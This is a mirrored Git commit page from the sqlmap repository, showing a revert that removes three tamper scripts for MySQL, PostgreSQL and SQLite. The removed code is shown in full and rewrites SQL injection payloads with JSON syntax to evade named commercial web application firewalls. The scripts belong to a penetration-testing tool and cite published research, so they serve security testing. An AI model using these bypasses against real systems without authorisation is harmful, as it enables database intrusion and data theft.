mirror of
				https://github.com/sqlmapproject/sqlmap.git
				synced 2025-10-31 16:07:55 +03:00 
			
		
		
		
	This reverts commit 12e3ed14ae.
			
			
This commit is contained in:
		
							parent
							
								
									12e3ed14ae
								
							
						
					
					
						commit
						5592f55cae
					
				|  | @ -789,9 +789,6 @@ x, <deep_freeze(at)mail.ru> | ||||||
| zhouhx, <zhouhx(at)knownsec.com> | zhouhx, <zhouhx(at)knownsec.com> | ||||||
| * for contributing a minor patch | * for contributing a minor patch | ||||||
| 
 | 
 | ||||||
| Noam Moshe Claroty Team82 |  | ||||||
| * for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py |  | ||||||
| 
 |  | ||||||
| # Organizations | # Organizations | ||||||
| 
 | 
 | ||||||
| Black Hat team, <info(at)blackhat.com> | Black Hat team, <info(at)blackhat.com> | ||||||
|  |  | ||||||
|  | @ -1,163 +0,0 @@ | ||||||
| #!/usr/bin/env python |  | ||||||
| 
 |  | ||||||
| """ |  | ||||||
| Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) |  | ||||||
| See the file 'LICENSE' for copying permission |  | ||||||
| """ |  | ||||||
| 
 |  | ||||||
| # Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison. |  | ||||||
| pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)" |  | ||||||
| import re, random, string |  | ||||||
| 
 |  | ||||||
| from lib.core.enums import PRIORITY |  | ||||||
| 
 |  | ||||||
| __priority__ = PRIORITY.HIGHEST |  | ||||||
| 
 |  | ||||||
| def dependencies(): |  | ||||||
|     pass |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| # Possible int payloads: |  | ||||||
| # 1) JSON_LENGTH() |  | ||||||
| # 2) json_depth |  | ||||||
| # 3) JSON_EXTRACT() |  | ||||||
| 
 |  | ||||||
| def generate_int_payload(): |  | ||||||
|     INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload] |  | ||||||
|     return (random.choice(INT_FUNCTIONS))() |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| # Possible STR payloads: |  | ||||||
| # 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}'); |  | ||||||
| # 2) JSON_EXTRACT |  | ||||||
| # 3) JSON_QUOTE('null') |  | ||||||
| 
 |  | ||||||
| def generate_str_payload(): |  | ||||||
|     print("generate_str_payload") |  | ||||||
|     STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload] |  | ||||||
|     return (random.choice(STR_FUNCTIONS))() |  | ||||||
|     return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\'' |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_random_string(length=15): |  | ||||||
|     str_length = random.randint(1,length) |  | ||||||
|     return "".join(random.choice(string.ascii_letters) for i in range(str_length)) |  | ||||||
| 
 |  | ||||||
| def generate_random_int(): |  | ||||||
|     return random.randint(2, 10000) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_length_payload(): |  | ||||||
|     return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}" |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_depth_paylod(): |  | ||||||
|     return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}" |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_quote_payload(): |  | ||||||
|     var = generate_random_string() |  | ||||||
|     return f"JSON_QUOTE('{var}') = '\"{var}\"'" |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_int_extract_payload(): |  | ||||||
|     return generate_extract_payload(isString=False) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_str_extract_payload(): |  | ||||||
|     return generate_extract_payload(isString=True) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_extract_payload(isString=False): |  | ||||||
|     key = generate_random_string() |  | ||||||
|     if isString: |  | ||||||
|         value = generate_random_string() |  | ||||||
|         return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\'' |  | ||||||
|     value = generate_random_int() |  | ||||||
|     return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"' |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_payload(isString, isBrackets): |  | ||||||
|     payload = '(' if isBrackets else "" |  | ||||||
|     if isString: |  | ||||||
|         payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it. |  | ||||||
|     else: |  | ||||||
|         payload += generate_int_payload() |  | ||||||
| 
 |  | ||||||
|     return payload |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_random_payload(): |  | ||||||
|     if random.randint(0,1): |  | ||||||
|         return generate_str_payload() |  | ||||||
|     return generate_int_payload() |  | ||||||
| 
 |  | ||||||
| def tamper(payload, **kwargs): |  | ||||||
|     """ |  | ||||||
|          |  | ||||||
|     Bypasses generic WAFs using JSON SQL Syntax. |  | ||||||
|     For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html |  | ||||||
| 
 |  | ||||||
|     Tested against: |  | ||||||
|         * MySQL v8.0 - however every version after v5.7.8 should work |  | ||||||
| 
 |  | ||||||
|     Usage: |  | ||||||
|         python3 sqlmap.py <TARGET> --tamper json_waf_bypass_mysql.py |  | ||||||
| 
 |  | ||||||
|     Notes: |  | ||||||
|         * References:  |  | ||||||
|             * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf  |  | ||||||
|             * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774 |  | ||||||
|         * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments |  | ||||||
|         * JSON techniques were tested againts the following WAF vendors: |  | ||||||
|             * Amazon AWS ELB |  | ||||||
|             * CloudFlare |  | ||||||
|             * F5 BIG-IP |  | ||||||
|             * Palo-Alto Next Generation Firewall |  | ||||||
|             * Imperva Firewall |  | ||||||
| 
 |  | ||||||
|         * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads, |  | ||||||
|           depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type) |  | ||||||
| 
 |  | ||||||
|         Possible int payloads: |  | ||||||
|             1) JSON_LENGTH() |  | ||||||
|             2) json_depth |  | ||||||
|             3) JSON_EXTRACT() |  | ||||||
| 
 |  | ||||||
|         Possible STR payloads: |  | ||||||
|             1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}'); |  | ||||||
|             2) JSON_EXTRACT |  | ||||||
|             3) JSON_QUOTE('null') |  | ||||||
| 
 |  | ||||||
|     >>> tamper("' and 5626=9709 and 'kqkk'='kqkk") |  | ||||||
|     ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok ''' |  | ||||||
|     >>> tamper('and 4515=8950--') |  | ||||||
|     '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" ''' |  | ||||||
|     """ |  | ||||||
| 
 |  | ||||||
|     payload = payload.replace(r'%20', " ") |  | ||||||
|     # |  | ||||||
|     retVal = payload |  | ||||||
| 
 |  | ||||||
|     if payload: |  | ||||||
|         match = re.search(pattern, payload) |  | ||||||
| 
 |  | ||||||
|         if match: |  | ||||||
|             pre = match.group('pre') |  | ||||||
| 
 |  | ||||||
|             # Is our payload is a string. |  | ||||||
|             isString = pre.startswith("'") |  | ||||||
|             isBrackets = pre.startswith("')") or pre.startswith(")") |  | ||||||
|             wafPayload = generate_payload(isString=isString, isBrackets=isBrackets) |  | ||||||
|             retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}" |  | ||||||
| 
 |  | ||||||
|         else: |  | ||||||
| 
 |  | ||||||
|             if payload.lower().startswith("' union"): |  | ||||||
|                 wafPayload = generate_random_payload() |  | ||||||
| 
 |  | ||||||
|                 retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select... |  | ||||||
| 
 |  | ||||||
|     return retVal |  | ||||||
| 
 |  | ||||||
|  | @ -1,237 +0,0 @@ | ||||||
| #!/usr/bin/env python |  | ||||||
| 
 |  | ||||||
| """ |  | ||||||
| Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) |  | ||||||
| See the file 'LICENSE' for copying permission |  | ||||||
| """ |  | ||||||
| 
 |  | ||||||
| # Patterns breaks down SQLi payload into different components, and replaces the logical comparison. |  | ||||||
| pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)" |  | ||||||
| pattern_extract_value = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<extractValueRest>EXTRACTVALUE.*)" |  | ||||||
| pattern_when_where = r"(?i)(?P<pre>.*)\s*\b(?P<condition>WHERE|WHEN)\b\s*(?P<rest>.*)" |  | ||||||
| pattern_replace_case = r"(?i)(?P<all>\(select.*when\s*\((?P<leftComp>.*?)=(?P<rightComp>.*?)\).*?then\s*(?P<firstCase>\(.*?\))\s*else\s*(?P<secondCase>\(.*?\)).*?end\)\))" |  | ||||||
| import re, random, string |  | ||||||
| 
 |  | ||||||
| from lib.core.enums import PRIORITY |  | ||||||
| 
 |  | ||||||
| __priority__ = PRIORITY.HIGHEST |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def dependencies(): |  | ||||||
|     pass |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| # Possible int payloads: |  | ||||||
| # 1) #>> |  | ||||||
| # 2) @> |  | ||||||
| # 3) ->> (index) |  | ||||||
| # 4) ->> (str) |  | ||||||
| 
 |  | ||||||
| def generate_int_payload(): |  | ||||||
|     INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload] |  | ||||||
|     return (random.choice(INT_FUNCTIONS))() |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| # Possible str payloads: |  | ||||||
| # 1) ->> (str) |  | ||||||
| # 2) ->> (index) |  | ||||||
| # 3) #>> |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_str_payload(): |  | ||||||
|     STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload] |  | ||||||
|     return (random.choice(STR_FUNCTIONS))() |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_random_string(length=15): |  | ||||||
|     str_length = random.randint(1,length) |  | ||||||
|     return "".join(random.choice(string.ascii_letters) for i in range(str_length)) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_random_int(): |  | ||||||
|     return random.randint(2, 10000) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_element_by_id_payload(isString): |  | ||||||
|     random_generator = generate_random_string if isString else generate_random_int |  | ||||||
|     values = [] |  | ||||||
|     for i in range(3): |  | ||||||
|         values.append(random_generator()) |  | ||||||
|     random_index = random.randint(0,2) |  | ||||||
|     if isString: |  | ||||||
|         return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\'' |  | ||||||
|     return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}" |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_element_by_id_int_payload(): |  | ||||||
|     return generate_element_by_id_payload(isString=False) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_element_by_id_str_payload(): |  | ||||||
|     return generate_element_by_id_payload(isString=True) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_element_by_key_payload(isString): |  | ||||||
|     random_generator = generate_random_string if isString else generate_random_int |  | ||||||
|     keys = [] |  | ||||||
|     values = [] |  | ||||||
|     for i in range(3): |  | ||||||
|         keys.append(generate_random_string())  # Json must always have a string as a value |  | ||||||
|         values.append(random_generator()) |  | ||||||
|     random_index = random.randint(0, 2) |  | ||||||
|     if isString: |  | ||||||
|         return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'" |  | ||||||
|     return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}" |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_element_by_key_int_payload(): |  | ||||||
|     return generate_element_by_key_payload(isString=False) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_element_by_key_str_payload(): |  | ||||||
|     return generate_element_by_key_payload(isString=True) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_element_by_hashtag_payload(isString): |  | ||||||
|     random_generator = generate_random_string if isString else generate_random_int |  | ||||||
|     keys = [] |  | ||||||
|     values = [] |  | ||||||
|     for i in range(3): |  | ||||||
|         keys.append(generate_random_string())  # Json must always have a string as a value |  | ||||||
|         values.append(random_generator()) |  | ||||||
|     random_index = random.randint(0, 2) |  | ||||||
|     if isString: |  | ||||||
|         return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'" |  | ||||||
|     return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}" |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_element_by_hashtag_int_payload(): |  | ||||||
|     return generate_element_by_hashtag_payload(isString=False) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_element_by_hashtag_str_payload(): |  | ||||||
|     return generate_element_by_hashtag_payload(isString=True) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_json_left_contains_payload(): |  | ||||||
|     keys = [] |  | ||||||
|     values = [] |  | ||||||
|     for i in range(3): |  | ||||||
|         keys.append(generate_random_string())  # Json must always have a string as a value |  | ||||||
|         values.append(generate_random_int()) |  | ||||||
|     random_index = random.randint(0, 2) |  | ||||||
|     return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'" |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_payload(isString, isBrackets): |  | ||||||
|     payload = '(' if isBrackets else "" |  | ||||||
|     if isString: |  | ||||||
|         payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it. |  | ||||||
|     else: |  | ||||||
|         payload += generate_int_payload() |  | ||||||
| 
 |  | ||||||
|     return payload |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_random_payload(): |  | ||||||
|     if random.randint(0,1): |  | ||||||
|         return generate_str_payload() |  | ||||||
|     return generate_int_payload() |  | ||||||
| 
 |  | ||||||
| def tamper(payload, **kwargs): |  | ||||||
|     """ |  | ||||||
|      |  | ||||||
|     Bypasses generic WAFs using JSON SQL Syntax. |  | ||||||
| 
 |  | ||||||
|     For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html |  | ||||||
| 
 |  | ||||||
|     Tested against: |  | ||||||
|         * PostgreSQL v15.0 - however every version after v9.2 should work |  | ||||||
| 
 |  | ||||||
|     Usage: |  | ||||||
|         python3 sqlmap.py <TARGET> --tamper json_waf_bypass_postgres.py |  | ||||||
| 
 |  | ||||||
|     Notes: |  | ||||||
| 
 |  | ||||||
|         * References:  |  | ||||||
|             * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf  |  | ||||||
|             * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774 |  | ||||||
|         * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments |  | ||||||
|         * JSON techniques were tested againts the following WAF vendors: |  | ||||||
|             * Amazon AWS ELB |  | ||||||
|             * CloudFlare |  | ||||||
|             * F5 BIG-IP |  | ||||||
|             * Palo-Alto Next Generation Firewall |  | ||||||
|             * Imperva Firewall |  | ||||||
| 
 |  | ||||||
|         * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads, |  | ||||||
|           depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type) |  | ||||||
| 
 |  | ||||||
|         Possible int payloads: |  | ||||||
|             1) #>> |  | ||||||
|             2) @> |  | ||||||
|             3) ->> (index) |  | ||||||
|             4) ->> (str) |  | ||||||
| 
 |  | ||||||
|         Possible str payloads: |  | ||||||
|             1) ->> (str) |  | ||||||
|             2) ->> (index) |  | ||||||
|             3) #>> |  | ||||||
| 
 |  | ||||||
|     >>> tamper("' and 5626=9709 and 'kqkk'='kqkk") |  | ||||||
|     ''' ' and 5626=9709  and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ ''' |  | ||||||
|     >>> tamper('and 4515=8950') |  | ||||||
|     '''  and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 ''' |  | ||||||
|     """ |  | ||||||
|     payload = payload.replace(r'%20', " ")  # Fix regex for later |  | ||||||
|     payload = payload.lower().replace("union all", "union")  # Replace union all with union in order to bypass many common WAFs |  | ||||||
|     bad_string_match = re.search(r"(from \(select \d+)", payload)  # Replaces suffix identified by many WAFs |  | ||||||
| 
 |  | ||||||
|     if bad_string_match: |  | ||||||
|         payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} " |  | ||||||
| 
 |  | ||||||
|     retVal = payload |  | ||||||
| 
 |  | ||||||
|     if payload: |  | ||||||
| 
 |  | ||||||
|         match = re.search(pattern, payload) |  | ||||||
| 
 |  | ||||||
|         if match: |  | ||||||
|             pre = match.group('pre') |  | ||||||
|             # Is our payload a string. |  | ||||||
|             isString = pre.startswith("'") |  | ||||||
|             isBrackets = pre.startswith("')") or pre.startswith(")") |  | ||||||
|             wafPayload = generate_payload(isString=isString, isBrackets=isBrackets) |  | ||||||
|             retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}" |  | ||||||
| 
 |  | ||||||
|         elif payload.lower().startswith("' union"):  # Increase evasiveness in union payloads |  | ||||||
|             wafPayload = generate_random_payload() |  | ||||||
|             retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select... |  | ||||||
| 
 |  | ||||||
|         else: |  | ||||||
|             extract_value_match = re.search(pattern_extract_value, payload) |  | ||||||
| 
 |  | ||||||
|             if extract_value_match:  # Replaces extractvalue because many WAFs target it |  | ||||||
|                 wafPayload = generate_random_payload() |  | ||||||
|                 retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}" |  | ||||||
| 
 |  | ||||||
|             else: |  | ||||||
|                 condition_match = re.match(pattern_when_where, payload) |  | ||||||
| 
 |  | ||||||
|                 if condition_match:  # Replaces when/where payloads with regular payloads because many WAFs target this keywords |  | ||||||
|                     wafPayload = generate_random_payload() |  | ||||||
|                     retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}" |  | ||||||
| 
 |  | ||||||
|         case_match = re.search(pattern_replace_case, retVal) |  | ||||||
| 
 |  | ||||||
|         if case_match:  # Replaces case statements because many WAFs target this syntax |  | ||||||
| 
 |  | ||||||
|             # Check if the case statement expects the left or right option |  | ||||||
|             if case_match.group("leftComp") == case_match.group("rightComp"): |  | ||||||
|                 retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase')) |  | ||||||
| 
 |  | ||||||
|             else: |  | ||||||
|                 retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase')) |  | ||||||
| 
 |  | ||||||
|     return retVal |  | ||||||
| 
 |  | ||||||
|  | @ -1,178 +0,0 @@ | ||||||
| #!/usr/bin/env python |  | ||||||
| 
 |  | ||||||
| """ |  | ||||||
| Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) |  | ||||||
| See the file 'LICENSE' for copying permission |  | ||||||
| """ |  | ||||||
| 
 |  | ||||||
| # Patterns breaks down SQLi payload into different components, and replaces the logical comparison. |  | ||||||
| pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)" |  | ||||||
| import re, random, string |  | ||||||
| 
 |  | ||||||
| from lib.core.enums import PRIORITY |  | ||||||
| 
 |  | ||||||
| __priority__ = PRIORITY.HIGHEST |  | ||||||
| DEBUG = False |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def dependencies(): |  | ||||||
| 	pass |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| # Possible int payloads: |  | ||||||
| # 1) JSON_LENGTH() |  | ||||||
| # 2) json_depth |  | ||||||
| # 3) JSON_EXTRACT() |  | ||||||
| # 3) JSON_EXTRACT operator |  | ||||||
| 
 |  | ||||||
| def generate_int_payload(): |  | ||||||
| 	INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload] |  | ||||||
| 	return (random.choice(INT_FUNCTIONS))() |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| # Possible STR payloads: |  | ||||||
| # 2) JSON_EXTRACT |  | ||||||
| # 2) JSON_EXTRACT Operator |  | ||||||
| # 3) JSON_QUOTE('null') |  | ||||||
| 
 |  | ||||||
| def generate_str_payload(): |  | ||||||
| 	STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload] |  | ||||||
| 	return (random.choice(STR_FUNCTIONS))() |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_random_string(length=15): |  | ||||||
| 	str_length = random.randint(1, length) |  | ||||||
| 	return "".join(random.choice(string.ascii_letters) for i in range(str_length)) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_random_int(): |  | ||||||
| 	return random.randint(2, 10000) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_length_payload(): |  | ||||||
| 	rand_int = generate_random_int() |  | ||||||
| 	return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}" |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_quote_payload(): |  | ||||||
| 	var = generate_random_string() |  | ||||||
| 	return f"JSON_QUOTE('{var}') = '\"{var}\"'" |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_int_extract_payload(): |  | ||||||
| 	return generate_extract_payload(isString=False) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_str_extract_payload(): |  | ||||||
| 	return generate_extract_payload(isString=True) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_int_extract_operator_payload(): |  | ||||||
| 	return generate_extract_operator_payload(isString=False) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_str_extract_operator_payload(): |  | ||||||
| 	return generate_extract_operator_payload(isString=True) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_extract_payload(isString=False): |  | ||||||
| 	key = generate_random_string() |  | ||||||
| 	if isString: |  | ||||||
| 		value = generate_random_string() |  | ||||||
| 		return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\'' |  | ||||||
| 	value = generate_random_int() |  | ||||||
| 	return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}' |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_extract_operator_payload(isString=False): |  | ||||||
| 
 |  | ||||||
| 	key = generate_random_string() |  | ||||||
| 	if isString: |  | ||||||
| 		value = generate_random_string() |  | ||||||
| 		return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\'' |  | ||||||
| 	value = generate_random_int() |  | ||||||
| 	return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}' |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_payload(isString, isBrackets): |  | ||||||
| 	payload = '(' if isBrackets else "" |  | ||||||
| 	if isString: |  | ||||||
| 		payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it. |  | ||||||
| 	else: |  | ||||||
| 		payload += generate_int_payload() |  | ||||||
| 
 |  | ||||||
| 	return payload |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def generate_random_payload(): |  | ||||||
| 	if random.randint(0, 1): |  | ||||||
| 		return generate_str_payload() |  | ||||||
| 	return generate_int_payload() |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| def tamper(payload, **kwargs): |  | ||||||
| 	""" |  | ||||||
|          |  | ||||||
|     Bypasses generic WAFs using JSON SQL Syntax.  |  | ||||||
| 
 |  | ||||||
|     For more details about JSON in SQLite - https://www.sqlite.org/json1.html |  | ||||||
| 
 |  | ||||||
|     Tested against: |  | ||||||
|         * SQLite v3.39.4 - however every version after v3.38.0 should work |  | ||||||
| 
 |  | ||||||
|     Usage: |  | ||||||
|         python3 sqlmap.py <TARGET> --tamper json_waf_bypass_sqlite.py |  | ||||||
| 
 |  | ||||||
|     Notes: |  | ||||||
| 
 |  | ||||||
|     	* References:  |  | ||||||
|             * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf  |  | ||||||
|             * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774 |  | ||||||
|         * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments |  | ||||||
|         * JSON techniques were tested againts the following WAF vendors: |  | ||||||
|             * Amazon AWS ELB |  | ||||||
|             * CloudFlare |  | ||||||
|             * F5 BIG-IP |  | ||||||
|             * Palo-Alto Next Generation Firewall |  | ||||||
|             * Imperva Firewall |  | ||||||
| 
 |  | ||||||
|         * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads, |  | ||||||
|           depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type) |  | ||||||
| 
 |  | ||||||
|         Possible int payloads: |  | ||||||
| 			1) JSON_LENGTH() |  | ||||||
| 			2) json_depth |  | ||||||
| 			3) JSON_EXTRACT() |  | ||||||
| 			3) JSON_EXTRACT operator |  | ||||||
| 
 |  | ||||||
|         Possible STR payloads: |  | ||||||
| 			2) JSON_EXTRACT |  | ||||||
| 			2) JSON_EXTRACT Operator |  | ||||||
| 			3) JSON_QUOTE('null') |  | ||||||
| 
 |  | ||||||
|     >>> tamper("' and 5626=9709 and 'kqkk'='kqkk") |  | ||||||
|     ''' ' and 5626=9709  and JSON_QUOTE('UG') = '"UG" ''' |  | ||||||
|     >>> tamper('and 4515=8950') |  | ||||||
|     '''  and JSON_ARRAY_LENGTH("[]") <= 9100 ''' |  | ||||||
|     """ |  | ||||||
| 	retVal = payload |  | ||||||
| 
 |  | ||||||
| 	if payload: |  | ||||||
| 		match = re.search(pattern, payload) |  | ||||||
| 
 |  | ||||||
| 		if match: |  | ||||||
| 			pre = match.group('pre') |  | ||||||
| 
 |  | ||||||
| 			# Is our payload is a string. |  | ||||||
| 			isString = pre.startswith("'") |  | ||||||
| 			isBrackets = pre.startswith("')") or pre.startswith(")") |  | ||||||
| 			wafPayload = generate_payload(isString=isString, isBrackets=isBrackets) |  | ||||||
| 			retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}" |  | ||||||
| 
 |  | ||||||
| 		else: |  | ||||||
| 
 |  | ||||||
| 			if payload.lower().startswith("' union"): |  | ||||||
| 				wafPayload = generate_random_payload() |  | ||||||
| 				retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select... |  | ||||||
| 
 |  | ||||||
| 	return retVal |  | ||||||
		Loading…
	
		Reference in New Issue
	
	Block a user